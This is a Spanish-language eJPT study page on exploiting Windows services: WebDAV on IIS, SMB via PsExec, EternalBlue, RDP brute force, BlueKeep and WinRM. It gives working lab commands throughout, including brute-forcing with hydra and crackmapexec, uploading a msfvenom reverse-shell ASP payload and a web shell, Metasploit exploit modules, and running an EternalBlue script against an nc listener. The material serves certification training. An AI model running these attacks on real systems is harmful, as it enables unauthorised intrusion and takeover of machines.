eJPT
  • 👋Welcome
  • Tools
    • 🔭Escaneo y Enumeración
  • SECTION 1: Assessment Methodologies
    • Assessment Methodologies: Information Gathering
      • Introducción a la Recopilación de Información
        • Start Quiz
      • Passive Information Gathering
      • Active Information Gathering
    • Assessment Methodologies: Footprinting & Scanning
      • Introduction
      • Networking Primer
      • Host Discovery
      • Port Scanning
      • Evasion, Scan Performance & Output
      • Page
      • Challenges
    • Assessment Methodologies: Enumeration
      • Overview
      • SMB Lesson
      • FTP Lesson
      • SSH Lesson
      • HTTP Lesson
      • SQL Lesson
    • Assessment Methodologies: Vulnerability Assessment
      • Vulnerability Assessment
      • Course Labs
  • SECTION 2: Host & Networking Auditing
    • Assessment Methodologies: Auditing Fundamentals
      • Assessment Methodologies
      • Practice
  • SECTION 3: Host & Network Penetration Testing
    • Host & Network Penetration Testing: System/Host Based Attacks
      • Introduction to Attacks
      • Windows Vulnerabilities
      • Exploiting Windows Vulnerabilities
      • Windows Privilege Escalation
      • Windows File System Vulnerabilities
      • Windows Credential Dumping
      • Linux Vulnerabilities
      • Exploiting Linux Vulnerabilities
      • Linux Privilege Escalation
      • Linux Credential Dumping
      • Conclusion
    • Host & Network Penetration Testing: Network-Based Attacks
      • Network-Based Attacks
    • Host & Network Penetration Testing: The Metasploit Framework (MSF)
      • Metasploit
        • Metasploit Fundamentals
      • Information Gathering & Enumeration
        • Nmap
        • Enumeration
      • Vulnerability Scanning
        • MSF
        • Nessus
        • Web Apps
      • Client-Side Attacks
        • Payloads
        • Automating
      • Exploitation
        • Windows Exploitation
        • Linux Exploitation
        • Post Exploitation Fundamentals
        • Windows Post Exploitation
        • Linux Post Exploitation
      • Armitage
        • Metasploit GUIs
    • Host & Network Penetration Testing: Exploitation
      • Introduction To Exploitation
      • Vulnerability Scanning Overview
      • Exploits
        • Searching For Exploits
        • Fixing Exploits
      • Shells
      • Frameworks
      • Windows
      • Linux
      • Obfuscation
    • Host & Network Penetration Testing: Post-Exploitation
      • Introduction
      • Windows Enumeration
      • Linux Enumeration
      • Transferring Files
      • Shells
      • Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
      • Persistence
        • Windows Persistence
        • Linux Persistence
      • Dumping & Cracking
        • Windows Password Hashes
        • Linux Password Hashes
      • Pivoting Lesson
      • Clearing
  • Host & Network Penetration Testing: Social Engineering
    • Social Engineering
  • SECTION 4: Web Application Penetration Testing
    • Introduction to the Web & HTTP Protocol
      • Web Applications
      • HTTP Protocol
        • HTTP/S Protocol Fundamentals
        • Website Crawling & Spidering
Powered by GitBook
On this page
  • Exploiting Microsoft IIS WebDAV
  • Microsoft IIS
  • WebDAV
  • WebDAV Exploitation
  • Tools
  • Demo
  • Test your knowledge
  • Exploiting WebDAV With Metasploit
  • Test your knowledge
  • Exploiting SMB With PsExec
  • SMB
  • SMB Authentication
  • PsExec
  • SMB Exploitation With PsExec
  • Demo: Exploiting SMB With PsExec
  • Test your knowledge: Exploiting SMB With PsExec
  • Exploiting Windows MS17-010 SMB Vulnerability (EternalBlue)
  • MS17-010 EternalBlue Exploiting
  • Demo: Exploiting Windows MS17-010 smb VULNERABILITY (Eternal Blue)
  • Exploitting RDP
  • Demo: Exploiting RDP
  • Exploiting Windows CVE-2019-0708 RDP Vulnerability (BlueKeep)
  • CVE-2019-0708 RDP Vulnerability (BlueKeep)
  • Demo: Exploiting Windows CVE-2019-0708
  • Exploiting WinRM
  • Demo: Exploiting WinRM
  1. SECTION 3: Host & Network Penetration Testing
  2. Host & Network Penetration Testing: System/Host Based Attacks

Exploiting Windows Vulnerabilities

Exploiting Microsoft IIS WebDAV

A continuacion se describira como se explotara un servidor WebDAV que se ejecuta en Microsoft IIS, para ello entonces comenzaremos a describir los soguientes puntos.

Microsoft IIS

IIS (Internet Information Services) es un software de servidor web extensible patentado desarrollado por Microsoft para su uso con la familia Windows NT. Lo que quiere decir que este servidor web fue desarrollado por Microsoft. Lo que hace que funcione como cualquier otro servidor, como Apache o Nginx.

Se puede utilizar para alojar sitios web/aplicaciones web y proporciona a los administradores una GUI sólida para administrar sitios web.

IIS se puede utilizar para alojar páginas web estáticas y dinámicas desarrolladas en ASP.NET y PHP. Normalmente configurado para ejecutarse en los puertos 80/443. Extensiones de archivos ejecutables compatibles:

  • .asp

  • .aspx

  • .config

  • .php

WebDAV

WebDAV (creación y control de versiones distribuidas basadas en web) es un conjunto de extensiones del protocolo HTTP que permite a los usuarios editar y administrar archivos de forma colaborativa en servidores web remotos.

Básicamente, WebDAV permite que un servidor web funcione como un servidor de archivos para la creación colaborativa (autoría).

WebDAV se ejecuta sobre Microsoft IIS o Apache en los puertos 80/443.

Para conectarse a un servidor WebDAV, deberá proporcionar credenciales legítimas (Usuario y Contraseña). Esto se debe a que WebDAV implementa la autenticación en forma de nombre de usuario y contraseña.

WebDAV Exploitation

El primer paso del proceso de explotación implicará identificar si WebDAV se ha configurado para ejecutarse en el servidor web IIS.

Podemos realizar un ataque de fuerza bruta al servidor WebDAV para identificar credenciales legítimas que podemos usar para la autenticación.

Después de obtener credenciales legítimas, podemos autenticarnos con el servidor WebDAV y cargar una carga útil .asp maliciosa que puede usarse para ejecutar comandos arbitrarios u obtener un shell inverso en el objetivo.

Tools

davtest: se utiliza para escanear, autenticar y explotar un servidor WebDAV.

Preinstalado en la mayoría de las distribuciones de pruebas de penetración ofensivas como Kali y Parrot OS

cadaver: cadaver admite carga y descarga de archivos, visualización en pantalla, edición in-place, operaciones de espacio de nombres (mover/copiar), creación y eliminación de colecciones, manipulación de propiedades y bloqueo de recursos en servidores WebDAV.

Preinstalado en la mayoría de las distribuciones de pruebas de penetración ofensivas como Kali y Parrot OS.

Nota: Todas las técnicas se realizan en Kali Linux.

Demo

  1. Escanear con nmap para identificar los puertos abiertos y los servicios respectivos.

nmap -sV -sC <Target>
  1. Identificar el servicio de Microsoft IIS (Puerto 80) y las caveceras de su salida generamente se identifica como "http-webdav-scan"

nmap -sV -p80 --script=http-enum <Target>
  1. Se identifico la ruta del path web en donde se insertan las credenciales correspondientes. por lo cual realizaremos un ataque de fuerza bruta utilizando hydra

hydra -L /usr/share/wordlists/metasploit/common_users.txt -P /usr/share/wordlists/metasploit/common_passwords.txt <Target> http-get <path web ej "/webdav/" > 
  1. Después de insertar las credenciales de forma exitosa, visualizara algunos archivos de configuración en el path web. Por lo cual comenzaremos con la explotación atravez de la herramienta davtest.

davtest -auth user:password -url http://<dns>/<path>

Durante la ejecución se generara un cadena aleatoria, la misma se utilizara y anexara esencialmente a cualquiera de los directorios o ficheros que se crean . Después de que termine de crear los directorios o ficheros, ejecutara cada archivo creado y verificara si es posible ejecutar el mismo. Descartar las extensiones .txt y .html, posterior a ello cualquiera extension nos puede dar un shell reverso.

  1. Para la explotación utilizaremos la herramienta cadaver.

cadaver http://<dns>/<path>
# Le solicitara las credenciales (usuario/password), posterior a ello le devolvera una shell

  1. Listado de webshell e indeitifcar la extension que fue aceptado en el punto 4.

ls -al /usr/share/webshells
  1. Idenitifcar el qeb shell que se cargara por media de la shell que se abrio en el punto 5.

put /usr/share/webshells/asp/webshell.asp
  1. Desde un navegador web, podrá visualizar el archivo que se subió y desde el mismo podra ejecutar comandos.

Test your knowledge

Exploiting WebDAV With Metasploit

A diferencia del anterior punto, en este punto solo existira algunas variaciones debido a que utilizaremos matasploit. Por lo cual el laboratorio esta disenado para ejecutar diferentes tipos de cargas utiles ASP

  1. Escanear con nmap para identificar los puertos abiertos y los servicios respectivos.

nmap -sV -sC <Target>
  1. Identificar el servicio de Microsoft IIS (Puerto 80) y las caveceras de su salida generamente se identifica como "http-webdav-scan"

nmap -sV -p80 --script=http-enum <Target>
  1. Se identifico la ruta del path web en donde se insertan las credenciales correspondientes. por lo cual realizaremos un ataque de fuerza bruta utilizando hydra

hydra -L /usr/share/wordlists/metasploit/common_users.txt -P /usr/share/wordlists/metasploit/commo
  1. Se reutilziara las mismas credenciales.

  2. Se generara una carga util de ASP. Se recomienda utilizar la carga util de 32bits, debido a que la misma puede funcionar en arquitecturas de 32 y 64.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<MyIP> LPORT=1234 -f asp > shell.asp
  1. Para la explotación utilizaremos la herramienta cadaver.

cadaver http://<dns>/<path>
# Le solicitara las credenciales (usuario/password), posterior a ello le devolvera una shell
  1. Subiremos el carga util que generamos en el punto 5.

put /root/shell.asp
  1. Verificar que el archivo se haya subido.

  2. Desde el lado de hacker se debe de configurar un oyente

service postgresql start & msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LHOST <MyIP>
set LPORT <1234>
run
  1. Ejecutar el payload desde la lista de archivos (punto 7)

  2. La sesion del meterpreter se ejecutara del punto 9. Adicionalmente se detalla comandos que se puede ejecutar dentro de la sesion de meterpreter.

sysinfo
getid

Otros modos de explotación utilizando metasploit.

  1. Desde el metasploit ejecutar la siguiente linea de comando

use multi/handler
search iis upload
use exploit/windows/iis/iis_webdav_upload_asp
set HttpUsername bob
set HttpPassword pasword_123321
show options
set RHosts <Target>
set PATH /webdav/metasploit.asp
exploit
# Las sesion se establece con el destino
  1. Se detalla comandos que se puede ejecutar dentro de la sesion de meterpreter

sysinfo
getid

Lo bueno del ultimo método es que no deja ningun rastro del shell revers (.asp), sin embargo desde la sesion de calavera se puede eliminar una vez se haya establecido conexion.

Test your knowledge

Exploiting SMB With PsExec

Antes de comenzar con el concepto practico, primero debemos de entender de que es SMB y como funciona en terminos de autenticacion, asi como tambien entender que es PsExec y como podemos usarlo para .para obtener acceso a un sistema objetivo.

SMB

SMB (Server Message Block) es un protocolo de intercambio de archivos en red que se utiliza para facilitar el intercambio de archivos y periféricos (impresoras y puertos serie) entre computadoras en una red local (LAN).

SMB utiliza el puerto 445 (TCP). Sin embargo, originalmente, SMB se ejecutaba sobre NetBIOS usando el puerto 139.

SAMBA es la implementación Linux de código abierto de SMB y permite que los sistemas Windows accedan a recursos compartidos y dispositivos Linux.

SMB Authentication

El protocolo SMB utiliza dos niveles de autenticación, los cuales son:

  • User Authentication

  • Share Authentication

User Authentication: Los usuarios deben proporcionar un nombre de usuario y contraseña para autenticarse con el servidor SMB y poder acceder a un recurso compartido.

Share Authentication: Los usuarios deben proporcionar una contraseña para poder acceder al recurso compartido restringido.

Nota: Ambos niveles de autenticación se utilizan en un sistema de autenticación de challenge response.

  1. Se tiene un Client que intenta conectarse a un Servidor Windows que tiene SMB configurado y no necesariamente tiene que ser el caso de que ellos. Ahora para autenticarse con un servidor SMB, se debe de proporcionar credenciales de una cuenta de usuario.

  2. El servidor SMB envia una respuesta que le dice al cliente que cifre una cadena aleatoria con la del usuario (Hash)

  3. Entonces el cliente encriptara la cadena con el hash del usuario y enviara una respuesta donde incluirá la cadena cifrada. El servidor verificara y vera si el valor real de la cadena cifrada que obtuvieron de el hash del usuario en ese sistema es correcto o coincide con la cadena cifrada.

  4. En caso de que coincida se le da el acceso correspondiente, caso contrartio se deniega el acceso

PsExec

PsExec es un reemplazo ligero de Telnet desarrollado por Microsoft que le permite ejecutar procesos en sistemas Windows remotos utilizando las credenciales de cualquier usuario.

La autenticación PsExec se realiza a través de SMB.

Podemos utilizar la utilidad PsExec para autenticarnos legítimamente en el sistema de destino y ejecutar comandos arbitrarios o iniciar un símbolo del sistema remoto. Por lo cual para utilizar PsExec se debe de utilizar credenciales legitimas.

Es muy similar a RDP, sin embargo, en lugar de controlar el sistema remoto a través de GUI, los comandos se envían a través de CMD.

SMB Exploitation With PsExec

Para utilizar PsExec para obtener acceso a un objetivo de Windows, necesitaremos identificar cuentas de usuario legítimas y sus respectivas contraseñas o hashes de contraseña.

Esto se puede hacer aprovechando varias herramientas y técnicas; sin embargo, la técnica más común implicará realizar un ataque de fuerza bruta al iniciar sesión en SMB.

Podemos limitar nuestro ataque de fuerza bruta para incluir solo cuentas de usuarios comunes de Windows como:

  • Administrador / Administrator

Una vez que hayamos obtenido una cuenta de usuario y una contraseña legítimas, podemos usar las credenciales para autenticarnos en el sistema de destino a través de PsExec y ejecutar comandos arbitrarios del sistema u obtener un shell inverso.

Demo: Exploiting SMB With PsExec

# Identificar si se estaria utilizando el puerto 445

# Utilizando nmap
nmap -sV -sC <Target>

# Utilizando Metasploit
# Este modulo es auxiliar eso significa que se utiliza mucho para obtener informacion
# recoleccion o fuerza bruta
search smb_login

use 0
show options
# Se debe de configurar RHOSTS - RPORT - SMBDomain (Si el target es parte de un 
# dominio) - SMBUser - SMBPass - USER_FILE/PASS_FILE (Para ataques de fuerza bruta) 

set USER_FILE /usr/share/netasploit-framework/data/wordlists/common_usrs.txt
set USER_FILE /usr/share/netasploit-framework/data/wordlists/unix_passwords.txt

# Opcional habilitar/deshabilitar VERBOSE el cual muestra todas las credenciales con
# las cuales se prueba la conexion, entonces la siguiente configuracion solo mostrara
# los intentos exitosos
set VERBOSE false

# Ejecute el exploit
run

La utilidad PsExec es un ejecutable de windows, por lo cual no se puede ejecutar en Linux sin embargo existe una herramienta en python llamado PSEXEC.py que es una implementacion en python, que nos permite autenticarnos con un sistema destino.

# Despues de ejecutar el siguiente comando le solicitara la contrasena del usuario
psexec.py <Usuario>@<Target> cmd.exe

Si queremos extender la sesion, podemos realizar una sesion de interprete on un modulo de Metasploit

# Utilizando Metasploit
search psexec
# El siguiente modulo permite crear una payload y el mismo sera enviado al target
# que nos ayudara obtener un shell tcp inverso, el payload es de 32bits

use exploit/windows/smb/psexec

# Llenar los campos RHOSTS - SMBUser - SMBPass
# Tambien configurar el exploit en base a sus requerimientos EXITFUNC - LHOST - LPORT
exploit

>sysinfo
>NT AUTHORITY\SYSTEM

Test your knowledge: Exploiting SMB With PsExec

Exploiting Windows MS17-010 SMB Vulnerability (EternalBlue)

MS17-010 EternalBlue Exploiting

EternalBlue (MS17-010/CVE-2017-0144) es el nombre que se le da a una colección de vulnerabilidades y exploits de Windows que permiten a los atacantes ejecutar código arbitrario de forma remota y obtener acceso a un sistema Windows y, en consecuencia, a la red de la que forma parte el sistema objetivo. de.

El exploit EternalBlue fue desarrollado por la NSA (Agencia de Seguridad Nacional) para aprovechar la vulnerabilidad MS17-010 y fue filtrado al público por un grupo de piratas informáticos llamado Shadow Brokers en 2017.

El exploit EternalBlue aprovecha una vulnerabilidad en el protocolo SMBv1 de Windows que permite a los atacantes enviar paquetes especialmente diseñados que, en consecuencia, facilitan la ejecución de comandos arbitrarios. Tambien puede proporcionar un shell Inversi o una sesion de Interprete. Esto llega a otorgar un accesp al sistema destino, y le llega a proporcionar elevación de privilegios por lo cual el atacante no necesita realizar una escalada de privilegios ya que obtendrá privilegio elevados.

El exploit EternalBlue se utilizó en el ataque de ransomware WannaCry el 27 de junio de 2017 para explotar otros sistemas Windows a través de redes con el objetivo de propagar el ransomware a tantos sistemas como fuera posible. El objetivo fue Eternal identificar otros sistemas windows en la red luego de explotar (Blue)los mismos, por lo cual infectaria a los sistemas, obtendria acceso y luego se ejecutaria el ransomgar. Por lo tanto le permitiria propagar e infectar tantos sistemas como sea posible.

Esta vulnerabilidad afecta a varias versiones de Windows (arquitecturas de x64 y x32):

  • Windows Vista

  • Windows 7

  • Windows Server 2008

  • Windows 8.1

  • Windows Server 2012

  • Windows 10

  • Windows Server 2016

Microsoft lanzó un parche para la vulnerabilidad en marzo de 2017; sin embargo, muchos usuarios y empresas aún no han parcheado sus sistemas.

El exploit EternalBlue tiene un módulo auxiliar MSF (Metasploit) que se puede usar para verificar si un sistema de destino es vulnerable al exploit y también tiene un módulo de exploit que se puede usar para explotar la vulnerabilidad en sistemas sin parches.

El módulo de explotación EternalBlue se puede utilizar para explotar sistemas Windows vulnerables y, en consecuencia, proporcionarnos una sesión privilegiada de meterpreter en el sistema de destino.

Además de los módulos de MSF, también podemos explotar manualmente la vulnerabilidad utilizando código de explotación disponible públicamente. INE

Demo: Exploiting Windows MS17-010 smb VULNERABILITY (Eternal Blue)

sudo nmap -sV -p 445 -O <Target>
sudo nmap -sV -p 445 --script=smb-vuln-ms17-010 <Target>

##### Explotacion Manual #####
# https://github.com/3ndG4me/AutoBlue-MS17-010
#  Clonar el Codigo
# Ingresar a sus shell y buscar el archivo "shell_prep.sh"

# Agregamos permisos de ejecucion sobre el shell
chmod +x shell_prep.sh

# Ejecutamos el shell
./shell_prep.sh

# Llenar o personalizar segun el entorno en el cual esta trabajando
    Y
    LHOST: 10.10.10.10
    LPORT x64: 1234
    LPORT x32: 1234
    1
    1

# En el directorio AutoBlue darle los privilegios de ejecucion al script que se adapte a su entorno
chmod +x eternalblue_exploit7.py

# Explotacion
nc -nvlp 1234
python eternalblue_exploit7.py <Target> shellcode/sc_x64.bin

##### Explotacion Automatica #####
#iniciar la consola metasploit

search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <Target>
exploit
sysinfo
 

QUIZ

Exploitting RDP

El Protocolo de escritorio remoto (Remote Desktop Protocol - RDP) es un protocolo de acceso remoto GUI patentado desarrollado por Microsoft y se utiliza para conectarse e interactuar de forma remota con un sistema Windows.

RDP utiliza el puerto TCP 3389 de forma predeterminada y también se puede configurar para ejecutarse en cualquier otro puerto TCP. Por ello es importante la fase de enumeracion, para identificar aquellos sistemas que cambiaron de puerto.

La autenticación RDP requiere una cuenta de usuario legítima en el sistema de destino, así como la contraseña del usuario en texto sin cifrar.

Podemos realizar un ataque de fuerza bruta RDP para identificar credenciales de usuario legítimas que podemos usar para obtener acceso remoto al sistema de destino. Durante los siguientes laboratorios se limitara el alcance a la cuenta Administrtor.

Demo: Exploiting RDP

# Se realizara un escaneo de puertos
nmap -sV <Target>
# En caso de que nmap no logre identificar el servicio a sociado a RDP puede utilizar MSF con el puerto sospechoso
search rdp_scanner
use auxiliary/scanner/rdp/rdp_scanner
show options
set RHOSTS <Target>
set RPORT <Port>
run

# Despues de identificar el servicio de RDP se puede realizar ataques de fuerza bruta
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt  rdp://<Target> -s <Port>

# Es comun ver freerdp con el estado "The connection failed to establish" debido a que intetu usar esa herramienta para conectarse despues de encontrar las credenciales validas
# En este laboratorio se utilizara xfreerdp

xfreerdp /u:<User> /p:<Password> /v:<Target>:<Port>

Exploiting Windows CVE-2019-0708 RDP Vulnerability (BlueKeep)

CVE-2019-0708 RDP Vulnerability (BlueKeep)

BlueKeep (CVE-2019-0708) es el nombre que se le da a una vulnerabilidad RDP en Windows que podría permitir a los atacantes ejecutar código arbitrario de forma remota y obtener acceso a un sistema Windows y, en consecuencia, a la red de la que forma parte el sistema objetivo.

Microsoft hizo pública la vulnerabilidad BlueKeep en mayo de 2019.

El exploit BlueKeep aprovecha una vulnerabilidad en el protocolo RDP de Windows que permite a los atacantes obtener acceso a una parte de la memoria del kernel, lo que les permite ejecutar de forma remota código arbitrario a nivel del sistema sin autenticación.

Microsoft lanzó un parche para esta vulnerabilidad el 14 de mayo de 2019 e instó a las empresas a parchear esta vulnerabilidad lo antes posible.

En el momento del descubrimiento, se descubrió que alrededor de 1 millón de sistemas en todo el mundo eran vulnerables.

La vulnerabilidad BlueKeep afecta a varias versiones de Windows:

  • XP

  • Vista

  • Windows 7

  • Windows Server 2008 y R2

La vulnerabilidad BlueKeep tiene varios PoC's ilegítimos y códigos de explotación que podrían ser de naturaleza maliciosa. Por lo tanto, se recomienda utilizar únicamente códigos y módulos de explotación verificados para la explotación.

El exploit BlueKeep tiene un módulo auxiliar MSF que se puede usar para verificar si un sistema de destino es vulnerable al exploit y también tiene un módulo de exploit que se puede usar para explotar la vulnerabilidad en sistemas sin parches.

El módulo de explotación BlueKeep se puede utilizar para explotar sistemas Windows vulnerables y, en consecuencia, proporcionarnos una sesión privilegiada de meterpreter en el sistema de destino.

Nota: Dirigirse a la memoria y las aplicaciones del espacio del kernel puede provocar fallos del sistema.

Demo: Exploiting Windows CVE-2019-0708

Nota: No se cuenta con el laboratorio y se debe de montar de manera personal una maquina virtual con Windows 7 y Kali Linux

sudo nmap -p 3389 <Target>

# Iniciar Metasploit
search BlueKeep
# Verificamos que es vulnerable
use /auxiliary/scanner/rdp/cve_2019_0708_bluekeep
show options
set RHOSTS <Target>
run

# Aprovechamos la vulnerabilidad, solo funciona para sistemas de x64
use 1
show options
set RHOSTS <Target>
exploit
# En caso de que no sea vulnerable se debera establecer la version del objetivo
show targets
# Identificar la version del target y el ID correspondiente
set target <ID>
exploit
# Tambien debera de revisar la cantidad de memoria RAM asiganda
# La misma puede hacer que el sistema destino entre en conflicto "Crash"
sysinfo
getuid

Quiz

Exploiting WinRM

La administración remota de Windows (Windows Remote Management - WinRM) es un protocolo de administración remota de Windows que se puede utilizar para facilitar el acceso remoto con sistemas Windows a través de HTTP(S).

Microsoft implementó WinRM en Windows para hacer la vida más fácil a los administradores de sistemas.

WinRM se utiliza normalmente de las siguientes maneras:

  • Acceda e interactúe de forma remota con hosts de Windows en una red local.

  • Acceda y ejecute comandos de forma remota en sistemas Windows.

  • Administre y configure sistemas Windows de forma remota.

WinRM normalmente usa los puertos TCP 5985 (HTTP) y 5986 (HTTPS) si se ha configurado los certificados SSL.

WinRM implementa control de acceso y seguridad para la comunicación entre sistemas a través de varias formas de autenticación, como con una contraseña o un hash.

Podemos utilizar una utilidad llamada "crackmapexec" para realizar una fuerza bruta en WinRM con el fin de identificar usuarios y sus contraseñas, así como ejecutar comandos en el sistema de destino.

También podemos utilizar un script Ruby llamado "evil-winrm" para obtener una sesión de comando shell en el sistema de destino.

Demo: Exploiting WinRM

# Por defecto nmap escanea a los 1k puertos conocidos
nmap -sV -p 5985-5986 <Target>
# Los baners relacionados al puerto, no simpre estaran realaciados a los servicios

# WinRM tambien se puede utilizar con mssql, smb, ssh

crackmapexec winrm <Target> -u <User> -p /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
# Cuando encuentra la contraseña para el nombre del usuario lo marca con [+] ...... (Pwn3d!)
# wsman es una implementacion de winrm de windows

# Podemos ejecutar comandos de forma remota
# Cuando se habilita WinRM, se crean de forma predeterminada reglas en el firewall
crackmapexec winrm <Target> -u <User> -p <Password> -x "whoami"
crackmapexec winrm <Target> -u <User> -p <Password> -x "systeminfo"

# Shell Inverso
evil-winrm.rb -u <User> -p '<Password>' -i <Target>
    whoami
    ipconfig
    net user

# Ahora se utilizara metsploit
search winrm_script
use exploit/windows/winrm/winrm_script_exec 
show options
set RHOSTS
set FORCE_VBS true
set username <User>
set password <Password>
exploit

    systeminfo
    getuid

Quiz

PreviousWindows VulnerabilitiesNextWindows Privilege Escalation

Last updated 3 months ago